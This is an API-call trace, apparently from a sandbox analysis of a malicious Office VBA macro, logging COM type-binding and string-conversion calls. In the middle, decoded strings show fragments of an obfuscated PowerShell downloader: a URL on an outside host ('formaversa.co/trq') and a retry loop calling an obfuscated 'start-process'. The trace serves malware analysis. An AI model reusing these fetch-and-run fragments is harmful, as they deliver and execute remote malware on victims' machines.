lpWideCharStr=0x1ff5d0, cchWideChar=12 | out: lpWideCharStr="cryocamera") returned 11 [0076.166] ITypeComp:RemoteBind (in: This=0x679bb90, szName="cryocamera", lHashVal=0x10d674, wFlags=0x5, ppTInfo=0x1ff588, pDescKind=0x1ff59c, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff588*=0x0, pDescKind=0x1ff59c*=0, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792e56, cbMultiByte=11, lpWideCharStr=0x1ff5d0, cchWideChar=12 | out: lpWideCharStr="cryocamera") returned 11 [0076.166] ITypeComp:RemoteBind (in: This=0x5a48630, szName="cryocamera", lHashVal=0x10d674, wFlags=0x5, ppTInfo=0x1ff588, pDescKind=0x1ff59c, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff588*=0x0, pDescKind=0x1ff59c*=0, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792e56, cbMultiByte=11, lpWideCharStr=0x1ff5d0, cchWideChar=12 | out: lpWideCharStr="cryocamera") returned 11 [0076.166] ITypeComp:RemoteBind (in: This=0x679c130, szName="cryocamera", lHashVal=0x10d674, wFlags=0x5, ppTInfo=0x1ff588, pDescKind=0x1ff59c, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff588*=0x0, pDescKind=0x1ff59c*=0, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792e56, cbMultiByte=11, lpWideCharStr=0x1ff5d0, cchWideChar=12 | out: lpWideCharStr="cryocamera") returned 11 [0076.166] ITypeComp:RemoteBind (in: This=0x679c6d0, szName="cryocamera", lHashVal=0x10d674, wFlags=0x5, ppTInfo=0x1ff588, pDescKind=0x1ff59c, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff588*=0x0, pDescKind=0x1ff59c*=0, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.166] IMalloc:Alloc (This=0x7fefe465380, cb=0x12) returned 0x62ed410 [0076.166] _mbscpy_s (in: _Dst=0x62ed410, _DstSizeInBytes=0xb, _Src=0x5792e56 | out: _Dst=0x62ed410) returned 0x0 [0076.166] strcpy_s (in: _Dst=0x1ff6e0, _DstSize=0x12, _Src="_B_var_cryocamera" | out: _Dst="_B_var_cryocamera") returned 0x0 [0076.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1ff6e0, cbMultiByte=18, lpWideCharStr=0x1ff530, cchWideChar=18 | out: lpWideCharStr="_B_var_cryocamera") returned 18 [0076.166] IUnknown:AddRef (This=0x679bb80) returned 0x8 [0076.167] ITypeLib:RemoteIsName (in: This=0x679bb80, szNameBuf="_B_var_cryocamera", lHashVal=0x10449f, pfName=0x1ff600, pBstrLibName=0x1ff530 | out: pfName=0x1ff600*=0, pBstrLibName=0x1ff530) returned 0x0 [0076.167] IUnknown:Release (This=0x679bb80) returned 0x7 [0076.167] IUnknown:AddRef (This=0x5a48620) returned 0x11 [0076.167] ITypeLib:RemoteIsName (in: This=0x5a48620, szNameBuf="_B_var_cryocamera", lHashVal=0x10449f, pfName=0x1ff600, pBstrLibName=0x1ff530 | out: pfName=0x1ff600*=0, pBstrLibName=0x1ff530) returned 0x0 [0076.167] IUnknown:Release (This=0x5a48620) returned 0x10 [0076.167] IUnknown:AddRef (This=0x679c120) returned 0x8 [0076.167] ITypeLib:RemoteIsName (in: This=0x679c120, szNameBuf="_B_var_cryocamera", lHashVal=0x10449f, pfName=0x1ff600, pBstrLibName=0x1ff530 | out: pfName=0x1ff600*=0, pBstrLibName=0x1ff530) returned 0x0 [0076.167] IUnknown:Release (This=0x679c120) returned 0x7 [0076.167] IUnknown:AddRef (This=0x679c6c0) returned 0x6 [0076.167] ITypeLib:RemoteIsName (in: This=0x679c6c0, szNameBuf="_B_var_cryocamera", lHashVal=0x10449f, pfName=0x1ff600, pBstrLibName=0x1ff530 | out: pfName=0x1ff600*=0, pBstrLibName=0x1ff530) returned 0x0 [0076.167] IUnknown:Release (This=0x679c6c0) returned 0x5 [0076.167] IUnknown:AddRef (This=0x679bb80) returned 0x8 [0076.167] IUnknown:Release (This=0x679bb80) returned 0x7 [0076.167] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d101de, cbMultiByte=18, lpWideCharStr=0x1ff590, cchWideChar=19 | out: lpWideCharStr="_B_var_cryocamera") returned 18 [0076.167] ITypeComp:RemoteBind (in: This=0x679bb90, szName="_B_var_cryocamera", lHashVal=0x10449f, wFlags=0x5, ppTInfo=0x1ff548, pDescKind=0x1ff55c, ppFuncDesc=0x1ff560, ppVarDesc=0x63005f00720061, ppTypeComp=0x63006f00000000, pDummy=0x0 | out: ppTInfo=0x1ff548*=0x0, pDescKind=0x1ff55c*=0, ppFuncDesc=0x1ff560, ppVarDesc=0x63005f00720061, ppTypeComp=0x63006f00000000, pDummy=0x0) returned 0x0 [0076.167] _mbscpy_s (in: _Dst=0x1ff750, _DstSizeInBytes=0xb, _Src=0x5792e56 | out: _Dst=0x1ff750) returned 0x0 [0076.167] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57910ee, cbMultiByte=5, lpWideCharStr=0x1ff5d0, cchWideChar=6 | out: lpWideCharStr="Left") returned 5 [0076.167] ITypeComp:RemoteBind (in: This=0x679bb90, szName="Left", lHashVal=0x107be5, wFlags=0x3, ppTInfo=0x1ff588, pDescKind=0x1ff59c, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff588*=0x0, pDescKind=0x1ff59c*=0, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.167] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57910ee, cbMultiByte=5, lpWideCharStr=0x1ff5d0, cchWideChar=6 | out: lpWideCharStr="Left") returned 5 [0076.167] ITypeComp:RemoteBind (in: This=0x5a48630, szName="Left", lHashVal=0x107be5, wFlags=0x3, ppTInfo=0x1ff588, pDescKind=0x1ff59c, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff588*=0x0, pDescKind=0x1ff59c*=0, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.167] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57910ee, cbMultiByte=5, lpWideCharStr=0x1ff5d0, cchWideChar=6 | out: lpWideCharStr="Left") returned 5 [0076.167] ITypeComp:RemoteBind (in: This=0x679c130, szName="Left", lHashVal=0x107be5, wFlags=0x3, ppTInfo=0x1ff588, pDescKind=0x1ff59c, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff588*=0x0, pDescKind=0x1ff59c*=0, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.167] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57910ee, cbMultiByte=5, lpWideCharStr=0x1ff5d0, cchWideChar=6 | out: lpWideCharStr="Left") returned 5 [0076.167] ITypeComp:RemoteBind (in: This=0x679c6d0, szName="Left", lHashVal=0x107be5, wFlags=0x3, ppTInfo=0x1ff588, pDescKind=0x1ff59c, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff588*=0x0, pDescKind=0x1ff59c*=0, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.167] IMalloc:Alloc (This=0x7fefe465380, cb=0xc) returned 0x62ed410 [0076.167] _mbscpy_s (in: _Dst=0x62ed410, _DstSizeInBytes=0x5, _Src=0x57910ee | out: _Dst=0x62ed410) returned 0x0 [0076.167] strcpy_s (in: _Dst=0x1ff6e0, _DstSize=0xc, _Src="_B_var_Left" | out: _Dst="_B_var_Left") returned 0x0 [0076.167] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1ff6e0, cbMultiByte=12, lpWideCharStr=0x1ff530, cchWideChar=12 | out: lpWideCharStr="_B_var_Left") returned 12 [0076.167] IUnknown:AddRef (This=0x679bb80) returned 0x8 [0076.167] ITypeLib:RemoteIsName (in: This=0x679bb80, szNameBuf="_B_var_Left", lHashVal=0x10e151, pfName=0x1ff600, pBstrLibName=0x1ff530 | out: pfName=0x1ff600*=1, pBstrLibName=0x1ff530) returned 0x0 [0076.167] IUnknown:Release (This=0x679bb80) returned 0x7 [0076.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="_B_var_Left", cchWideChar=-1, lpMultiByteStr=0x1ff6e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_B_var_Left", lpUsedDefaultChar=0x0) returned 12 [0076.168] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Left") returned 0x10e151 [0076.168] IUnknown:AddRef (This=0x679bb80) returned 0x8 [0076.168] IUnknown:Release (This=0x679bb80) returned 0x7 [0076.168] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d10212, cbMultiByte=12, lpWideCharStr=0x1ff590, cchWideChar=13 | out: lpWideCharStr="_B_var_Left") returned 12 [0076.168] ITypeComp:RemoteBind (in: This=0x679bb90, szName="_B_var_Left", lHashVal=0x10e151, wFlags=0x3, ppTInfo=0x1ff548, pDescKind=0x1ff55c, ppFuncDesc=0x1ff560, ppVarDesc=0x0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff548*=0xb941878, pDescKind=0x1ff55c*=1, ppFuncDesc=0x1ff560, ppVarDesc=0x0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.168] ITypeInfo:RemoteGetTypeAttr (in: This=0xb941878, ppTypeAttr=0x1ff550, pDummy=0x1 | out: ppTypeAttr=0x1ff550, pDummy=0x1) returned 0x0 [0076.168] ITypeInfo:LocalReleaseTypeAttr (This=0xb941878) returned 0x0 [0076.168] ITypeInfo2:GetFuncIndexOfMemId (in: This=0xb941878, memid=1610612748, invkind=1, pFuncIndex=0x1ff3f0 | out: pFuncIndex=0x1ff3f0*=0xc) returned 0x0 [0076.168] ITypeInfo2:GetFuncCustData (in: This=0xb941878, index=0xc, GUID=0x7fee5f94310*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x1ff408 | out: pVarVal=0x1ff408*(varType=0x0, wReserved1=0x1f, wReserved2=0x0, wReserved3=0x0, varVal1=0xc, varVal2=0x10e151)) returned 0x0 [0076.168] IUnknown:Release (This=0xb941878) returned 0x1 [0076.168] IUnknown:AddRef (This=0xb941878) returned 0x2 [0076.168] ITypeInfo:LocalReleaseFuncDesc (This=0xb941878) returned 0x0 [0076.168] IUnknown:Release (This=0xb941878) returned 0x1 [0076.168] IUnknown:QueryInterface (in: This=0xb941878, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff608 | out: ppvObject=0x1ff608*=0x0) returned 0x80004002 [0076.168] IUnknown:AddRef (This=0xb941878) returned 0x2 [0076.168] IUnknown:QueryInterface (in: This=0xb941878, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff640 | out: ppvObject=0x1ff640*=0x0) returned 0x80004002 [0076.168] IUnknown:QueryInterface (in: This=0xb941878, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff610 | out: ppvObject=0x1ff610*=0x0) returned 0x80004002 [0076.168] IUnknown:QueryInterface (in: This=0xb941878, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff600 | out: ppvObject=0x1ff600*=0x0) returned 0x80004002 [0076.168] IUnknown:QueryInterface (in: This=0xb941878, riid=0x7fee5f8ade8*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff608 | out: ppvObject=0x1ff608*=0x0) returned 0x80004002 [0076.168] ITypeInfo:RemoteGetTypeAttr (in: This=0xb941878, ppTypeAttr=0x1ff638, pDummy=0x10 | out: ppTypeAttr=0x1ff638, pDummy=0x10) returned 0x0 [0076.168] ITypeInfo:LocalReleaseTypeAttr (This=0xb941878) returned 0x0 [0076.168] IUnknown:AddRef (This=0xb941878) returned 0x3 [0076.168] IUnknown:Release (This=0xb941878) returned 0x2 [0076.168] IUnknown:QueryInterface (in: This=0xb941878, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff828 | out: ppvObject=0x1ff828*=0x0) returned 0x80004002 [0076.168] IUnknown:QueryInterface (in: This=0xb941878, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff820 | out: ppvObject=0x1ff820*=0x0) returned 0x80004002 [0076.168] IMalloc:Free (This=0x7fefe465380, pv=0x62ed410) [0076.168] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612748, invkind=1, refPtrFlags=0x1ff060, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.168] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612748, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1ff060, pbstrName=0x0, pwOrdinal=0x1ff080 | out: pBstrDllName=0x1ff060*=0x0, pbstrName=0x0, pwOrdinal=0x1ff080*=0xf2f0) returned 0x0 [0076.168] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612748, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1ff060, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1ff060, pwOrdinal=0x500000000) returned 0x0 [0076.168] IMalloc:Alloc (This=0x7fefe465380, cb=0x230) returned 0x648a110 [0076.168] IMalloc:Alloc (This=0x7fefe465380, cb=0x26d) returned 0xb899900 [0076.168] IMalloc:GetSize (This=0x7fefe465380, pv=0xb899900) returned 0x26d [0076.168] IMalloc:GetSize (This=0x7fefe465380, pv=0xb899900) returned 0x26d [0076.168] IMalloc:GetSize (This=0x7fefe465380, pv=0xb899900) returned 0x26d [0076.168] GetCurrentProcess () returned 0xffffffffffffffff [0076.168] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb899900, dwSize=0x4b) returned 1 [0076.169] IMalloc:Free (This=0x7fefe465380, pv=0xb899900) [0076.169] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb899900, dwSize=0x4c) returned 1 [0076.169] IMalloc:Free (This=0x7fefe465380, pv=0xb899900) [0076.169] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6395c50, cbMultiByte=26, lpWideCharStr=0x5ec2d28, cchWideChar=54 | out: lpWideCharStr="ps://formaversa.co/trq','%") returned 26 [0076.169] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb899900, dwSize=0x4c) returned 1 [0076.169] IMalloc:Free (This=0x7fefe465380, pv=0xb899900) [0076.169] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6395c76, cbMultiByte=2, lpWideCharStr=0x5ec323a, cchWideChar=6 | out: lpWideCharStr="%.") returned 2 [0076.169] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb899900, dwSize=0x4c) returned 1 [0076.169] IMalloc:Free (This=0x7fefe465380, pv=0xb899900) [0076.169] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6395c84, cbMultiByte=56, lpWideCharStr=0x5ec371c, cchWideChar=114 | out: lpWideCharStr="')}while(!$?);&(\\\"{0}{2}{1}\\\"-f'star','ss','t-proce') '%") returned 56 [0076.169] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb899900, dwSize=0x4c) returned 1 [0076.169] IMalloc:Free (This=0x7fefe465380, pv=0xb899900) [0076.169] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6395cc8, cbMultiByte=2, lpWideCharStr=0x5ec3cea, cchWideChar=6 | out: lpWideCharStr="%.") returned 2 [0076.169] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb899900, dwSize=0x4c) returned 1 [0076.169] IMalloc:Free (This=0x7fefe465380, pv=0xb899900) [0076.169] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x5ed0000 [0076.170] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792b42, cbMultiByte=4, lpWideCharStr=0x1ff5d0, cchWideChar=5 | out: lpWideCharStr="Chr") returned 4 [0076.170] ITypeComp:RemoteBind (in: This=0x679bb90, szName="Chr", lHashVal=0x107e4b, wFlags=0x3, ppTInfo=0x1ff588, pDescKind=0x1ff59c, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff588*=0x0, pDescKind=0x1ff59c*=0, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.171] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792b42, cbMultiByte=4, lpWideCharStr=0x1ff5d0, cchWideChar=5 | out: lpWideCharStr="Chr") returned 4 [0076.171] ITypeComp:RemoteBind (in: This=0x5a48630, szName="Chr", lHashVal=0x107e4b, wFlags=0x3, ppTInfo=0x1ff588, pDescKind=0x1ff59c, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff588*=0x0, pDescKind=0x1ff59c*=0, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.171] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792b42, cbMultiByte=4, lpWideCharStr=0x1ff5d0, cchWideChar=5 | out: lpWideCharStr="Chr") returned 4 [0076.171] ITypeComp:RemoteBind (in: This=0x679c130, szName="Chr", lHashVal=0x107e4b, wFlags=0x3, ppTInfo=0x1ff588, pDescKind=0x1ff59c, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff588*=0x0, pDescKind=0x1ff59c*=0, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.171] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792b42, cbMultiByte=4, lpWideCharStr=0x1ff5d0, cchWideChar=5 | out: lpWideCharStr="Chr") returned 4 [0076.171] ITypeComp:RemoteBind (in: This=0x679c6d0, szName="Chr", lHashVal=0x107e4b, wFlags=0x3, ppTInfo=0x1ff588, pDescKind=0x1ff59c, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff588*=0x0, pDescKind=0x1ff59c*=0, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.171] IMalloc:Alloc (This=0x7fefe465380, cb=0xb) returned 0x62ed410 [0076.171] _mbscpy_s (in: _Dst=0x62ed410, _DstSizeInBytes=0x4, _Src=0x5792b42 | out: _Dst=0x62ed410) returned 0x0 [0076.171] strcpy_s (in: _Dst=0x1ff6e0, _DstSize=0xb, _Src="_B_var_Chr" | out: _Dst="_B_var_Chr") returned 0x0 [0076.171] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1ff6e0, cbMultiByte=11, lpWideCharStr=0x1ff530, cchWideChar=11 | out: lpWideCharStr="_B_var_Chr") returned 11 [0076.171] IUnknown:AddRef (This=0x679bb80) returned 0xa [0076.171] ITypeLib:RemoteIsName (in: This=0x679bb80, szNameBuf="_B_var_Chr", lHashVal=0x103b5c, pfName=0x1ff600, pBstrLibName=0x1ff530 | out: pfName=0x1ff600*=1, pBstrLibName=0x1ff530) returned 0x0 [0076.171] IUnknown:Release (This=0x679bb80) returned 0x9 [0076.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="_B_var_Chr", cchWideChar=-1, lpMultiByteStr=0x1ff6e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_B_var_Chr", lpUsedDefaultChar=0x0) returned 11 [0076.171] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Chr") returned 0x103b5c [0076.171] IUnknown:AddRef (This=0x679bb80) returned 0xa [0076.171] IUnknown:Release (This=0x679bb80) returned 0x9 [0076.171] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d1023e, cbMultiByte=11, lpWideCharStr=0x1ff590, cchWideChar=12 | out: lpWideCharStr="_B_var_Chr") returned 11 [0076.171] ITypeComp:RemoteBind (in: This=0x679bb90, szName="_B_var_Chr", lHashVal=0x103b5c, wFlags=0x3, ppTInfo=0x1ff548, pDescKind=0x1ff55c, ppFuncDesc=0x1ff560, ppVarDesc=0x0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff548*=0xb941878, pDescKind=0x1ff55c*=1, ppFuncDesc=0x1ff560, ppVarDesc=0x0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.171] ITypeInfo:RemoteGetTypeAttr (in: This=0xb941878, ppTypeAttr=0x1ff550, pDummy=0x1 | out: ppTypeAttr=0x1ff550, pDummy=0x1) returned 0x0 [0076.172] ITypeInfo:LocalReleaseTypeAttr (This=0xb941878) returned 0x0 [0076.172] ITypeInfo2:GetFuncIndexOfMemId (in: This=0xb941878, memid=1610612738, invkind=1, pFuncIndex=0x1ff3f0 | out: pFuncIndex=0x1ff3f0*=0x2) returned 0x0 [0076.172] ITypeInfo2:GetFuncCustData (in: This=0xb941878, index=0x2, GUID=0x7fee5f94310*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x1ff408 | out: pVarVal=0x1ff408*(varType=0x0, wReserved1=0x1f, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x103b5c)) returned 0x0 [0076.172] IUnknown:Release (This=0xb941878) returned 0x3 [0076.172] IUnknown:AddRef (This=0xb941878) returned 0x4 [0076.172] ITypeInfo:LocalReleaseFuncDesc (This=0xb941878) returned 0x0 [0076.172] IUnknown:Release (This=0xb941878) returned 0x3 [0076.172] IUnknown:QueryInterface (in: This=0xb941878, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff608 | out: ppvObject=0x1ff608*=0x0) returned 0x80004002 [0076.172] IUnknown:AddRef (This=0xb941878) returned 0x4 [0076.172] IUnknown:Release (This=0xb941878) returned 0x3 [0076.172] IUnknown:QueryInterface (in: This=0xb941878, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff828 | out: ppvObject=0x1ff828*=0x0) returned 0x80004002 [0076.172] IUnknown:QueryInterface (in: This=0xb941878, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff820 | out: ppvObject=0x1ff820*=0x0) returned 0x80004002 [0076.172] IMalloc:Free (This=0x7fefe465380, pv=0x62ed410) [0076.172] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612738, invkind=1, refPtrFlags=0x1ff060, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.172] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1ff060, pbstrName=0x0, pwOrdinal=0x1ff080 | out: pBstrDllName=0x1ff060*=0x0, pbstrName=0x0, pwOrdinal=0x1ff080*=0xf2f0) returned 0x0 [0076.172] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1ff060, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1ff060, pwOrdinal=0x500000000) returned 0x0 [0076.172] IMalloc:Alloc (This=0x7fefe465380, cb=0x230) returned 0x6489ec0 [0076.172] IMalloc:Alloc (This=0x7fefe465380, cb=0x26d) returned 0xb899900 [0076.172] IMalloc:GetSize (This=0x7fefe465380, pv=0xb899900) returned 0x26d [0076.172] IMalloc:GetSize (This=0x7fefe465380, pv=0xb899900) returned 0x26d [0076.172] GetCurrentProcess () returned 0xffffffffffffffff [0076.172] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb899900, dwSize=0x43) returned 1 [0076.172] IMalloc:Free (This=0x7fefe465380, pv=0xb899900) [0076.172] _mbscpy_s (in: _Dst=0x62ed410, _DstSizeInBytes=0x4, _Src=0x5792b42 | out: _Dst=0x62ed410) returned 0x0 [0076.173] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612738, invkind=1, refPtrFlags=0x1ff060, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 